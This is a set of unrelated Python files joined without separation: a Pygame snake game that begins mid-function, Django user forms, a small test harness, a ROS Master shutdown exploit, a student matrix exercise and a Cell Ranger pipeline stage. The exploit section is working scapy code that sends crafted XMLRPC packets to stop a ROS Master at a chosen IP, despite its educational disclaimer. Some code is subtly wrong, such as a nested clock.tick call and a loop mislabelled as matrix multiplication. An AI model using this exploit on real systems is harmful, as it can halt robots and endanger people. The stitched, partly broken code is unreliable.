        cursor_pos_x = window_width // 2 + 105 + class_input.get_width()
        pygame.draw.line(window, white, (cursor_pos_x, window_height // 2 + 5), (cursor_pos_x, window_height // 2 + 30), 2)

    # Draw the start game button
    start_button = pygame.Rect(window_width // 2 - 75, window_height // 2 + 150, 150, 50)
    pygame.draw.rect(window, white, start_button)
    start_text = font.render('Start Game', True, black)
    window.blit(start_text, (window_width // 2 - 60, window_height // 2 + 165))

    pygame.display.update()

# Function to start the game
def start_game():
    game_loop()

# Set the width and height of the game window
width, height = 640, 480
window = pygame.display.set_mode((width, height))

# Set the colors
black = pygame.Color(0, 0, 0)
white = pygame.Color(255, 255, 255)
red = pygame.Color(255, 0, 0)
blue = pygame.Color(0, 0, 255)
green = pygame.Color(0, 255, 0)
yellow = pygame.Color(255, 255, 0)
orange = pygame.Color(255, 165, 0)
head = pygame.Color(152, 238, 204)  # color for snake head

# Set the initial position of the snake
snake_pos = [100, 50]
snake_body = [[100, 50], [90, 50], [80, 50]]

# Set the initial position of the food
food_pos = [random.randrange(1, width // 10) * 10, random.randrange(1, height // 10) * 10]
food_spawn = True

# Set the initial direction of the snake
direction = 'RIGHT'
change_to = direction

# Set the game clock
clock = pygame.time.Clock()

# Set the initial score
score = 0

# Initialize the slow food position variables
slow_food_pos = [-10, -10]  # Initialize outside the visible area
fast_food_pos = [-10, -10]  # Initialize outside the visible area
bound_food_pos = [-10, -10]  # Initialize outside the visible area
slow_food_spawn = False
fast_food_spawn = False
bound_food_spawn = False
isFast = False
speed_spawn_timer = 60.0  # Time in seconds for slow food to spawn
bound_spawn_timer = 90.0  # Time in seconds for bound food to spawn
last_slow_food_spawn = time.time()
last_fast_food_spawn = time.time()
last_bound_food_spawn = time.time()
slow_timer = time.time()
fast_timer = time.time()
bound_timer = time.time()
game_start = time.time()

# Game over function
def game_over():
    font = pygame.font.SysFont('Arial', 30)
    text = font.render('Game Over!', True, red)
    game_over_rect = text.get_rect()
    game_over_rect.midtop = (width // 2, height // 4)
    window.blit(text, game_over_rect)
    pygame.display.flip()
    pygame.time.wait(2000)
    pygame.quit()
    quit()

# User screen for choosing snake color
def choose_color():
    chosen = False
    color = blue  # Default color

    color_palette = [blue, red, green, yellow]  # Add more color options here

    while not chosen:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                quit()
            elif event.type == pygame.KEYDOWN:
                if event.key == pygame.K_1:
                    color = color_palette[0]
                    chosen = True
                elif event.key == pygame.K_2:
                    color = color_palette[1]
                    chosen = True
                elif event.key == pygame.K_3:
                    color = color_palette[2]
                    chosen = True
                elif event.key == pygame.K_4:
                    color = color_palette[3]
                    chosen = True

        # Background
        window.fill(black)

        # Render text
        font = pygame.font.SysFont('Arial', 30)
        text = font.render('Choose Snake Color:', True, white)
        window.blit(text, (width // 2 - 150, height // 2 - 50))

        text = font.render('1. Blue', True, color_palette[0])
        window.blit(text, (width // 2 - 50, height // 2))

        text = font.render('2. Red', True, color_palette[1])
        window.blit(text, (width // 2 - 50, height // 2 + 50))

        text = font.render('3. Green', True, color_palette[2])
        window.blit(text, (width // 2 - 50, height // 2 + 100))

        text = font.render('4. Yellow', True, color_palette[3])
        window.blit(text, (width // 2 - 50, height // 2 + 150))

        pygame.display.update()

    return color

# Get the chosen snake color

def game_loop():
    snake_color = choose_color()
    # Set the width and height of the game window
    width, height = 640, 480
    window = pygame.display.set_mode((width, height))

    # Set the colors
    black = pygame.Color(0, 0, 0)
    white = pygame.Color(255, 255, 255)
    red = pygame.Color(255, 0, 0)
    blue = pygame.Color(0, 0, 255)
    green = pygame.Color(0, 255, 0)
    yellow = pygame.Color(255, 255, 0)
    orange = pygame.Color(255, 165, 0)
    head = pygame.Color(152, 238, 204)  # color for snake head

    # Set the initial position of the snake
    snake_pos = [100, 50]
    snake_body = [[100, 50], [90, 50], [80, 50]]

    # Set the initial position of the food
    food_pos = [random.randrange(1, width // 10) * 10, random.randrange(1, height // 10) * 10]
    food_spawn = True

    # Set the initial direction of the snake
    direction = 'RIGHT'
    change_to = direction

    # Set the game clock
    clock = pygame.time.Clock()

    # Set the initial score
    score = 0

    # Initialize the slow food position variables
    slow_food_pos = [-10, -10]  # Initialize outside the visible area
    fast_food_pos = [-10, -10]  # Initialize outside the visible area
    bound_food_pos = [-10, -10]  # Initialize outside the visible area
    slow_food_spawn = False
    fast_food_spawn = False
    bound_food_spawn = False
    isFast = False
    speed_spawn_timer = 60.0  # Time in seconds for slow food to spawn
    bound_spawn_timer = 90.0  # Time in seconds for bound food to spawn
    last_slow_food_spawn = time.time()
    last_fast_food_spawn = time.time()
    last_bound_food_spawn = time.time()
    slow_timer = time.time()
    fast_timer = time.time()
    bound_timer = time.time()
    game_start = time.time()

    score = 0
    # Main game loop
    while True:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                quit()
            elif event.type == pygame.KEYDOWN:
                if event.key == pygame.K_RIGHT or event.key == ord('d'):
                    change_to = 'RIGHT'
                if event.key == pygame.K_LEFT or event.key == ord('a'):
                    change_to = 'LEFT'
                if event.key == pygame.K_UP or event.key == ord('w'):
                    change_to = 'UP'
                if event.key == pygame.K_DOWN or event.key == ord('s'):
                    change_to = 'DOWN'

        # Validate the direction
        if change_to == 'RIGHT' and direction != 'LEFT':
            direction = 'RIGHT'
        if change_to == 'LEFT' and direction != 'RIGHT':
            direction = 'LEFT'
        if change_to == 'UP' and direction != 'DOWN':
            direction = 'UP'
        if change_to == 'DOWN' and direction != 'UP':
            direction = 'DOWN'

        # Update the snake position
        if direction == 'RIGHT':
            snake_pos[0] = (snake_pos[0] + 10) % width
        if direction == 'LEFT':
            snake_pos[0] = (snake_pos[0] - 10 + width) % width
        if direction == 'UP':
            snake_pos[1] = (snake_pos[1] - 10 + height) % height
        if direction == 'DOWN':
            snake_pos[1] = (snake_pos[1] + 10) % height

        # Snake body mechanism
        snake_body.insert(0, list(snake_pos))
        if snake_pos[0] == food_pos[0] and snake_pos[1] == food_pos[1]:
            score += 1
            food_spawn = False
        else:
            snake_body.pop()

        # Spawn food if not present
        if not food_spawn:
            food_pos = [random.randrange(1, width // 10) * 10, random.randrange(1, height // 10) * 10]
            food_spawn = True

        # Spawn slow food every minute
        current_time = time.time()
        if slow_food_spawn and current_time - last_slow_food_spawn > 3:
            if time.time() < bound_timer:
                slow_food_pos = [(random.randrange(2, (width // 10) - 10) * 10),
                                 (random.randrange(2, (height // 10) - 10) * 10)]
            else:
                slow_food_pos = [random.randrange(0, width // 10) * 10, random.randrange(0, height // 10) * 10]
            last_slow_food_spawn = current_time
            slow_food_spawn = True

        current_time = time.time()
        if not slow_food_spawn and current_time - last_slow_food_spawn > speed_spawn_timer:
            if time.time() < bound_timer:
                slow_food_pos = [(random.randrange(2, (width // 10) - 10) * 10), (random.randrange(2, (height // 10)-10) * 10)]
            else:
                slow_food_pos = [random.randrange(0, width // 10) * 10, random.randrange(0, height // 10) * 10]
            last_slow_food_spawn = current_time
            slow_food_spawn = True

        # Spawn fast food every minute

        current_time = time.time()
        if current_time - last_fast_food_spawn > speed_spawn_timer:
            if time.time() < bound_timer:
                fast_food_pos = [(random.randrange(2, (width // 10) - 10) * 10), (random.randrange(2, (height // 10)-10) * 10)]
            else:
                fast_food_pos = [random.randrange(0, width // 10) * 10, random.randrange(0, height // 10) * 10]
            last_fast_food_spawn = current_time
            fast_food_spawn = True

        # Spawn bound food every minute
        current_time = time.time()
        if current_time - last_bound_food_spawn > bound_spawn_timer:
            bound_food_pos = [(random.randrange(2, (width // 10) - 10) * 10), (random.randrange(2, (height // 10)-10) * 10)]
            last_bound_food_spawn = current_time
            bound_food_spawn = True

        # Background
        window.fill(black)

        # Draw the snake
        for i, pos in enumerate(snake_body):
            if i == 0:
                # Draw the head of the snake in brown color
                pygame.draw.rect(window, head, pygame.Rect(pos[0], pos[1], 10, 10))
            else:
                # Draw the rest of the body in the chosen color
                pygame.draw.rect(window, snake_color, pygame.Rect(pos[0], pos[1], 10, 10))

        # Draw the regular food
        pygame.draw.rect(window, white, pygame.Rect(food_pos[0], food_pos[1], 10, 10))

        # Draw the slow food if spawned
        if slow_food_spawn:
            pygame.draw.rect(window, green, pygame.Rect(slow_food_pos[0], slow_food_pos[1], 10, 10))

        if fast_food_spawn:
            pygame.draw.rect(window,orange, pygame.Rect(fast_food_pos[0], fast_food_pos[1], 10, 10))

        if bound_food_spawn:
            pygame.draw.rect(window, red, pygame.Rect(bound_food_pos[0], bound_food_pos[1], 10, 10))

        # Check if the snake eats the slow food
        if snake_pos[0] == slow_food_pos[0] and snake_pos[1] == slow_food_pos[1]:
            score += 3
            slow_food_spawn = False
            last_slow_food_spawn = time.time()
            slow_timer = time.time() + 30  # Slow timer for 30 seconds

        # Check if the snake eats the fast food
        if snake_pos[0] == fast_food_pos[0] and snake_pos[1] == fast_food_pos[1]:
            fast_food_spawn = False
            last_fast_food_spawn = time.time()
            fast_timer = time.time() + 30  # fast timer for 30 seconds

        # Check if the snake eats the boundary food
        if snake_pos[0] == bound_food_pos[0] and snake_pos[1] == bound_food_pos[1]:
            bound_food_spawn = False
            last_bound_food_spawn = time.time()
            bound_timer = time.time() + 30  # fast timer for 30 seconds

        if time.time() < bound_timer and (snake_pos[0] == (width-10) or snake_pos[0] == 10 or snake_pos[1] == (height-10) or snake_pos[1] == 10):
            game_over()

        # Game Over conditions
        for block in snake_body[1:]:
            if snake_pos[0] == block[0] and snake_pos[1] == block[1]:
                game_over()

        # Score
        font = pygame.font.SysFont('Arial', 20)
        score_text = font.render(f'Score: {score}', True, white)
        window.blit(score_text, (10, 10))

        # Refresh the game screen
        pygame.display.update()

        if time.time() < bound_timer:
            margin_rect = pygame.Rect(0, 0, width, height)
            pygame.draw.rect(window, red, margin_rect, 10)
            pygame.display.flip()

        # Check if slow mode is active and update the clock tick rate
        if fast_timer < slow_timer:
            if time.time() < slow_timer:
                clock.tick(12)  # Slow mode tick rate of 10
            else:
                clock.tick(18)  # Regular tick rate
        else:
            if time.time() < fast_timer:
                clock.tick(40)
            else:
                clock.tick(clock.tick(18))  # Regular tick rate

game_loop()


from django import forms
from django.utils.translation import ugettext_lazy as _
from django.contrib.auth.forms import UserCreationForm, AuthenticationForm
import datetime
from .models import User

class SignUpForm(UserCreationForm):
    email = forms.CharField(max_length=254, required=True, widget=forms.EmailInput())
    class Meta:
        model = User
        fields = ('username', 'email', 'password1', 'password2','birth_date')
        widgets = {
            'birth_date': forms.DateInput(attrs={'type': 'date'}),
        }
        labels = {
            'birth_date': _('Edad')
        }

class CustomAuthenticationForm(AuthenticationForm):
    def confirm_login_allowed(self, user):
        if not user.is_active:
            raise forms.ValidationError(
                _("Esta cuenta esta inactiva"),
                code='inactive',
            )

class UserForm(forms.ModelForm):
    email = forms.CharField(max_length=254, required=True, widget=forms.EmailInput())
    class Meta:
        model = User
        fields = ('first_name','last_name','email', 'bio', 'birth_date', 'location','avatar')
        widgets = {
            'birth_date': forms.DateInput(attrs={'type': 'date'}),
        }
        labels = {
            'first_name': _('Nombre'),
            'last_name': _('Apellidos'),
            'bio': _('Breve descripcion tuya'),
            'birth_date': _('Edad'),
            'location': _('Ciudad'),
            'avatar': _('Foto de avatar')
        }


import subprocess

def check(expression,result):
    lstArgs = ["./main"] + expression.split(" ")
    out = subprocess.run(args = lstArgs,stdout=subprocess.PIPE,universal_newlines = False)
    if out.stdout != result:
        print('Error: got {1} instead of {0}'.format(result,out.stdout))
    else:
        print('OK')

print("Start testing:")

check('-test',b'')

check('-all 1 0 1',b'')

check('-all 2 1 1',b'')

check('-ser 1 0 1',b'1 false 1 ')

check('-ser 2 -2 2',b'2 true 2 ')

check('-des 0 true 1',b'0 1 1')

check('-des 123 false 23',b'123 0 23')


"""
Kill ROS Master using undocumented API functions, nothing fancy.
    Found with some silly fuzz testing.

- Authors: Víctor Mayoral Vilches <victor@aliasrobotics.com>
- Description: Shutdown ROS Master using its API

DISCLAIMER: Use against your own hosts only! By no means Alias Robotics
or the authors of this exploit encourage or promote the unauthorized tampering
with running robotic systems. This can cause serious human harm and material
damages. This is for educational purposes only.
"""

from scapy.all import *
from scapy.layers.inet import TCP, IP
from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse
from scapy.layers.l2 import Ether
from scapy.contrib.tcpros import *
# from fuzzingbook.Fuzzer import RandomFuzzer
import sys
import random
from datetime import datetime
from subprocess import Popen, PIPE

# import rospy

# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)
bind_layers(HTTPRequest, XMLRPC)
bind_layers(HTTPResponse, XMLRPC)
# bind_layers(HTTPROSRequest, XMLRPC)
# bind_layers(HTTPROSResponse, XMLRPC)

###################################################################################
# VARIABLES
###################################################################################

source = "192.168.2.5"
# or even its own.
random.seed(datetime.now())

package_shutdown = (
    IP(version=4, ihl=5, tos=0, flags=2, dst="192.168.2.6")
    / TCP(
        sport=20001,
        dport=11311,
        seq=1,
        flags="PA",
        ack=1,
    )
    / TCPROS()
    / HTTP()
    / HTTPRequest(
        Accept_Encoding=b"gzip",
        Content_Length=b"227",
        Content_Type=b"text/xml",
        Host=b"192.168.2.6:11311",
        User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
        Method=b"POST",
        Path=b"/RPC2",
        Http_Version=b"HTTP/1.1",
    )
    / XMLRPC()
    / XMLRPCCall(
        version=b"<?xml version='1.0'?>\n",
        methodcall_opentag=b"<methodCall>\n",
        methodname_opentag=b"<methodName>",
        methodname=b"shutdown",
        methodname_closetag=b"</methodName>\n",
        params_opentag=b"<params>\n",
        params=b"<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>4L145_R080T1C5</string></value>\n</param>\n",
        params_closetag=b"</params>\n",
        methodcall_closetag=b"</methodCall>\n",
    )
)

###################################################################################
# GENERAL FUNCTIONS
###################################################################################

def yellow(text):
    print("\033[33m", text, "\033[0m", sep="")

def red(text):
    print("\033[31m", text, "\033[0m", sep="")

def gray(text):
    print("\033[90m", text, "\033[0m", sep="")

def magenta(text):
    print("\033[35m", text, "\033[0m", sep="")

def log_events(log_info, type_event):
    """
    Log events for post-analysis

    param log_info, scapy package
    param type_event: str, either "fuzzing", "weird" or "error"
    """

    log_msg = (
        "["
        + time.ctime()
        + "]"
        + "\n\n"
        + log_info.command()
        + "\n\n"
        + raw(log_info).decode("iso-8859-1")
    )
    # log_msg_encoded = log_info

    if type_event == "fuzzing":
        try:
            fd = open("fuzz.log", "a")
        except IOError as err:
            return "[!] Error opening log file: %s" % str(err)

    elif type_event == "error":
        try:
            fd = open("error.log", "a")
        except IOError as err:
            return "[!] Error opening error file: %s" % str(err)

    elif type_event == "weird":
        try:
            fd = open("weird.log", "a")
        except IOError as err:
            return "[!] Error opening error file: %s" % str(err)

    else:
        return "[!] '%s' is an unrecognized log event type." % type_event

    if fd:
        fd.write(log_msg)

    return

def preamble():
    """
    ROS XMLRPC preamble

    returns: bool, indicating if successful
    """
    # send the SYN, receive response
    p_attack = IP(version=4, frag=0, ttl=64, proto=6, dst=destination) / TCP(
        sport=origin_port, dport=11311, seq=0, ack=0, flags=2
    )
    ans = sr1(p_attack, retry=0, timeout=1)
    # ans = srp1(p_attack, retry=0, timeout=1)

    if ans and len(ans) > 0 and ans[TCP].flags == "SA":
        # print(ans.summary())  # debug
        # ls(ans)  # debug

        # send the ACK
        p_attack = IP(
            version=4, ihl=5, flags=2, frag=0, ttl=64, proto=6, dst=destination
        ) / TCP(
            sport=origin_port,
            dport=11311,
            flags=16,
            seq=ans[TCP].ack,
            ack=ans[TCP].seq + 1,
        )
        send(p_attack)
        return True, ans
    else:
        return False, ans

def process_xmlrpc_response(p_attack, ans, unans, field_name=None):
    """
    Abstracts how the different functions process the XMLRPC responses
    for logging and analysis purposes.

    param p_attack: package used during the attack
    param ans: first result from scapy sr
    param uans: second result from scapy sr
    param field_name: field_name to consider when logging/evaluating

    Essentially:
    1. makes sure that there's an answer
    2. fetches the field to evaluate (or None)
    3. Checks results and responses and logs accordingly
    """

    # check if there's been an answer at all
    if len(ans) > 0:
        # ans.show()  # debug
        # print(list(ans[0][1])[0][XMLRPC])  # debug
        # print(ans[0][1][1][XMLRPC])  # debug

        response = list(ans[0][1])[0]
        if response == None:
            red("response None")

        # give it some colour for visual debugging:
        # print(response[XMLRPC])

        # print(response)  # debug
        # print(type(response))  # debug
        # print(b"Error" in response)  # debug
        # print(b"Error" in raw(response))  # debug

        field_evaluated = getattr(p_attack, field_name)

        if (
            b"Error" in raw(response)
            or b"is not set" in raw(response)
            or b"Exception" in raw(response)
            or b"missing required caller_id" in raw(response)
        ):
            red(response[XMLRPC])
            if not field_evaluated in errors_list:
                log_events(p_attack[XMLRPC], "error")
                errors_list.append(field_evaluated)

        # params, /rosdistro
        elif (
            b"melodic" in raw(response)  # hardcoded for testing setup
            and b"<int>1</int>" in raw(response)
            and field_name == "params"
        ):
            yellow(response[XMLRPC])
            if not field_evaluated in valid_list:
                log_events(p_attack[XMLRPC], "fuzzing")
                valid_list.append(field_evaluated)

        # params, setParam
        elif (
            b"parameter" in raw(response)  # hardcoded for testing setup
            and b"<int>1</int>" in raw(response)
            and b"set" in raw(response)
            # and b"<int>0</int>" in raw(response)
            and field_name == "params"
        ):
            yellow(response[XMLRPC])
            if not field_evaluated in valid_list:
                log_events(p_attack[XMLRPC], "fuzzing")
                valid_list.append(field_evaluated)

        # getPid
        elif b"<int>1</int>" in raw(response) and field_name == "methodname":
            yellow(response[XMLRPC])
            if not field_evaluated in valid_list:
                log_events(p_attack[XMLRPC], "fuzzing")
                valid_list.append(field_evaluated)

        else:
            #  something weird happened, review
            magenta(response[XMLRPC])
            if not field_evaluated in weird_list:
                log_events(p_attack[XMLRPC], "weird")
                weird_list.append(field_evaluated)

        #################
        # send the ACK so that we don't get spammed for retransmissions
        #################

        ack = IP(
            version=4, ihl=5, flags=2, frag=0, ttl=64, proto=6, dst="192.168.2.6"
        ) / TCP(
            sport=origin_port,
            dport=11311,
            flags=16,
            seq=response[TCP].ack,
            ack=len(response[TCP].payload) + response[TCP].seq,
        )
        send(ack)

###################################################################################
# ATTACKS
###################################################################################

def shutdown():
    """
    Call the shutdown method from the external API defined as:

        Stop this server
        @param caller_id: ROS caller id
        @type  caller_id: str
        @param msg: a message describing why the node is being shutdown.
        @type  msg: str
        @return: [code, msg, 0]
        @rtype: [int, str, int]

    """
    success, ans = preamble()
    if success:

        # Using default packages
        p_attack = package_shutdown
        p_attack[IP].dst = destination
        p_attack[TCP].sport = origin_port
        p_attack[TCP].seq = ans[TCP].ack
        p_attack[TCP].ack = ans[TCP].seq + 1

        # adjust size of XMLRPC package payload
        p_attack[HTTPRequest].Content_Length = str(
            len(p_attack[HTTPRequest].payload)
        ).encode("iso-8859-1")

        # gray(p_attack[XMLRPC].params)  # debug package to send
        ans, unans = sr(p_attack, timeout=5)

        # process the response coherently and return ACK
        process_xmlrpc_response(p_attack, ans, unans, "params")

###################################################################################
# CORE LOGIC
###################################################################################

# ##############################
# # fuzzing getParam
# ##############################
weird_list = []  # list containing weird/non-accounted responses
errors_list = []  #  a list containing each
valid_list = []

print(conf.iface)

if len(sys.argv) < 2:
    print("Supply IP as a first argument")
else:
    origin_port = random.randint(12000, 65000)
    destination = sys.argv[1]
    shutdown()


# -*- coding: utf-8 -*-
"""
Created on Fri Oct  8 22:43:21 2021

@author: momo
"""
#Assignment 01_2
#采用列表的形式，达到类似于矩阵的运算效果。
M1=[]
M1.append([])
import random
a=0
while len(M1)<6:
    n = random.randint(0,50)
    if len(M1[a])<10:
        M1[a].append(n)

    else:
        a=a+1
        M1.append([])

else:
    M1.pop()
    print('M1')
    print(M1)

M2=[]
M2.append([])
import random
a=0
while len(M2)<11:
    n = random.randint(0,50)
    if len(M2[a])<5:
        M2[a].append(n)

    else:
        a=a+1
        M2.append([])

else:
    M2.pop()
    print('M2')
    print(M2)

#M3=M1*M2
d=0
e=0
f=0
M3=[]
M3.append([])
while len(M3)<6 :
    for i in M1[d]:
        g=i*M2[e][d]
        M3[d].append(g)
        e=e+1
        if e>9 :
            e=0
            d=d+1
            M3.append([])

M3.pop()
print('M3')
print(M3)

#以下是查阅网上给出的矩阵计算简便方法。自己还不会通过这种方式运用和计算矩阵。
from numpy import *;#导入numpy的库函数
import numpy as np; #这个方式使用numpy的函数时，需要以np.开头。
M1=mat(random.randint(0,50,size=(5,10)))
print(M1)
M2=mat(random.randint(0,50,size=(10,5)))
print(M2)

M=M1*M2
print(M)
#借鉴https://zhu-group.github.io/ese5023/Assignment_01.html


import gzip
import martian
import os
import tenkit.constants as tk_constants
import tenkit.bam as tk_bam
import tenkit.fasta as tk_fasta
import tenkit.preflight as tk_preflight
import cellranger.chemistry as cr_chem
import cellranger.constants as cr_constants

__MRO__ = '''
stage SETUP_CHUNKS(
    in  string sample_id,
    in  map[]  sample_def,
    in  string chemistry_name,
    in  map    custom_chemistry_def,
    out map[]  chunks,
    out map    chemistry_def,
    out string barcode_whitelist,
    src py     "stages/common/setup_chunks",
)
'''

def validate_fastq_lists(filename_lists):
    """ Return true if sample indices found """
    if set(filename_lists.keys()) != set(cr_constants.FASTQ_READ_TYPES.keys()):
        martian.log_info('Read types specified: ' + ','.join(sorted(filename_lists.keys())))
        martian.log_info('Read types expected: ' + ','.join(sorted(cr_constants.FASTQ_READ_TYPES.keys())))
        martian.exit('Not all read types were specified. Exiting pipeline.')

    if len(filename_lists.values()[0]) == 0:
        return False

    if not all(len(filename_list) == len(filename_lists.values()[0]) for filename_list in filename_lists.itervalues()):
        for read_type, read_description in cr_constants.FASTQ_READ_TYPES.keys():
            martian.log_info('%s files: %s.' % (read_description, str(filename_lists[read_type])))
        martian.exit('FASTQ files differ in number. Exiting pipeline.')
    return True

def construct_chunks(filename_lists, sample_id, sample_def, reads_interleaved, chemistry):
    chunks = []

    for chunk_idx in xrange(len(filename_lists.values()[0])):
        chunk = {
            'gem_group': sample_def['gem_group'],
            'reads_interleaved': reads_interleaved,
            'read_chunks': {},
            'chemistry': chemistry,
        }

        for read_type in cr_constants.FASTQ_READ_TYPES.keys():
            filename = filename_lists[read_type][chunk_idx]
            chunk['read_chunks'][read_type] = filename

        # Build read group (@RG) string
        # Infer flowcell, lane from first fastq
        first_fastq = [fq for fq in chunk['read_chunks'].values() if fq is not None][0]
        flowcell, lane = tk_fasta.get_run_data(first_fastq)
        library_id = sample_def.get('library_id', 'MissingLibrary')
        gem_group = str(sample_def['gem_group'] or 1)
        rg_string = tk_bam.pack_rg_string(sample_id, library_id, gem_group, flowcell, lane)
        chunk['read_group'] = rg_string

        chunks.append(chunk)

    return chunks

def fill_in_missing_reads(filename_lists):
    """ Provide a list of Nones for missing reads """
    max_filenames = max(len(filename_list) for filename_list in filename_lists.itervalues())
    for read_type, filename_list in filename_lists.iteritems():
        if len(filename_list) == 0:
            filename_lists[read_type] = [None] * max_filenames

def main_bcl_processor(sample_id, sample_def, chemistry_arg, custom_chemistry_def):
    chunks = []

    sample_index_strings, msg = tk_preflight.check_sample_indices(sample_def)
    if sample_index_strings is None:
        martian.exit(msg)

    path = sample_def['read_path']
    lanes = sample_def['lanes']

    for sample_index in sample_index_strings:
        # Determine the read-type => fastq filename mapping
        try:
            chemistry_name = cr_chem.infer_sc3p_chemistry_bcl_processor(chemistry_arg, path,
                                                                        sample_index, lanes)
        except cr_chem.NoInputFastqsException:
            continue

        if chemistry_name == cr_chem.CUSTOM_CHEMISTRY_NAME:
            chemistry = custom_chemistry_def
        else:
            chemistry = cr_chem.get_chemistry(chemistry_name)

        read_type_map = cr_chem.get_read_type_map(chemistry, tk_constants.BCL_PROCESSOR_FASTQ_MODE)

        # Collect the fastq files for each read type
        filename_lists = {}
        for dest_read_type in cr_constants.FASTQ_READ_TYPES:
            src_read_type = read_type_map[dest_read_type]
            filename_lists[dest_read_type] = tk_fasta.find_input_fastq_files_10x_preprocess(
                path, src_read_type, sample_index, lanes)

        fill_in_missing_reads(filename_lists)
        if validate_fastq_lists(filename_lists):
            chunks += construct_chunks(filename_lists, sample_id, sample_def, reads_interleaved=True,
                                       chemistry=chemistry)

    return chunks

def main_ilmn_bcl2fastq(sample_id, sample_def, chemistry_arg, custom_chemistry_def):
    chunks = []

    sample_names = sample_def['sample_names']
    path = sample_def['read_path']
    lanes = sample_def['lanes']

    for sample_name in sample_names:
        # Determine the read-type => fastq filename mapping
        try:
            chemistry_name = cr_chem.infer_sc3p_chemistry_ilmn_bcl2fastq(chemistry_arg, path,
                                                                         sample_name, lanes)
        except cr_chem.NoInputFastqsException:
            continue

        if chemistry_name == cr_chem.CUSTOM_CHEMISTRY_NAME:
            chemistry = custom_chemistry_def
        else:
            chemistry = cr_chem.get_chemistry(chemistry_name)

        read_type_map = cr_chem.get_read_type_map(chemistry, tk_constants.ILMN_BCL2FASTQ_FASTQ_MODE)

        # Collect the fastq files for each read type
        filename_lists = {}
        for dest_read_type in cr_constants.FASTQ_READ_TYPES:
            src_read_type = read_type_map[dest_read_type]
            filename_lists[dest_read_type] = tk_fasta.find_input_fastq_files_bcl2fastq_demult(
                path, src_read_type, sample_name, lanes)

        fill_in_missing_reads(filename_lists)
        if validate_fastq_lists(filename_lists):
            chunks += construct_chunks(filename_lists, sample_id, sample_def, reads_interleaved=False,
                                       chemistry=chemistry)

    return chunks

def main(args, outs):
    ok, msg = tk_preflight.check_gem_groups(args.sample_def)
    if not ok:
        martian.exit(msg)

    outs.chunks = []
    for sample_def in args.sample_def:
        fastq_mode = sample_def['fastq_mode']
        chunks = []

        if fastq_mode == tk_constants.BCL_PROCESSOR_FASTQ_MODE:
            chunks = main_bcl_processor(args.sample_id, sample_def, args.chemistry_name, args.custom_chemistry_def)
        elif fastq_mode == tk_constants.ILMN_BCL2FASTQ_FASTQ_MODE:
            chunks = main_ilmn_bcl2fastq(args.sample_id, sample_def, args.chemistry_name, args.custom_chemistry_def)
        else:
            martian.throw("Unrecognized fastq_mode: %s" % fastq_mode)

        if len(chunks) == 0:
            martian.exit(cr_constants.NO_INPUT_FASTQS_MESSAGE)

        outs.chunks += chunks

    if len(outs.chunks) == 0:
        martian.exit(cr_constants.NO_INPUT_FASTQS_MESSAGE)

    check_chunk_fastqs(outs.chunks)

    check_chunk_chemistries(outs.chunks)

    # Output chemistry and barcode whitelist
    outs.chemistry_def = outs.chunks[0]['chemistry']
    outs.barcode_whitelist = cr_chem.get_barcode_whitelist(outs.chemistry_def)

def check_fastq(fastq):
    # Check if fastq is readable
    if not os.access(fastq, os.R_OK):
        martian.exit("Do not have file read permission for FASTQ file: %s" % fastq)

    # Check if fastq is gzipped
    is_gzip_fastq = True
    try:
        with gzip.open(fastq) as f:
            f.read(1)
    except:
        is_gzip_fastq = False

    if is_gzip_fastq and not fastq.endswith(cr_constants.GZIP_SUFFIX):
        martian.exit("Input FASTQ file is gzipped but filename does not have %s suffix: %s" % (fastq, cr_constants.GZIP_SUFFIX))
    if not is_gzip_fastq and fastq.endswith(cr_constants.GZIP_SUFFIX):
        martian.exit("Input FASTQ file is not gzipped but filename has %s suffix: %s" % (fastq, cr_constants.GZIP_SUFFIX))

def check_chunk_fastqs(chunks):
    for chunk in chunks:
        for key in cr_constants.FASTQ_READ_TYPES:
            fastq = chunk.get(key)
            if fastq is not None:
                check_fastq(fastq)

def check_chunk_chemistries(chunks):
    """ Ensure all samples were generated with the same chemistry. """
    unique_chemistries = set([chunk['chemistry']['name'] for chunk in chunks])
    descriptions = map(cr_chem.get_chemistry_description_from_name, list(unique_chemistries))
    if len(unique_chemistries) > 1:
        martian.exit("Found multiple chemistries: %s. Combined analysis of libraries generated with different chemistries is not supported." % ', '.join(descriptions))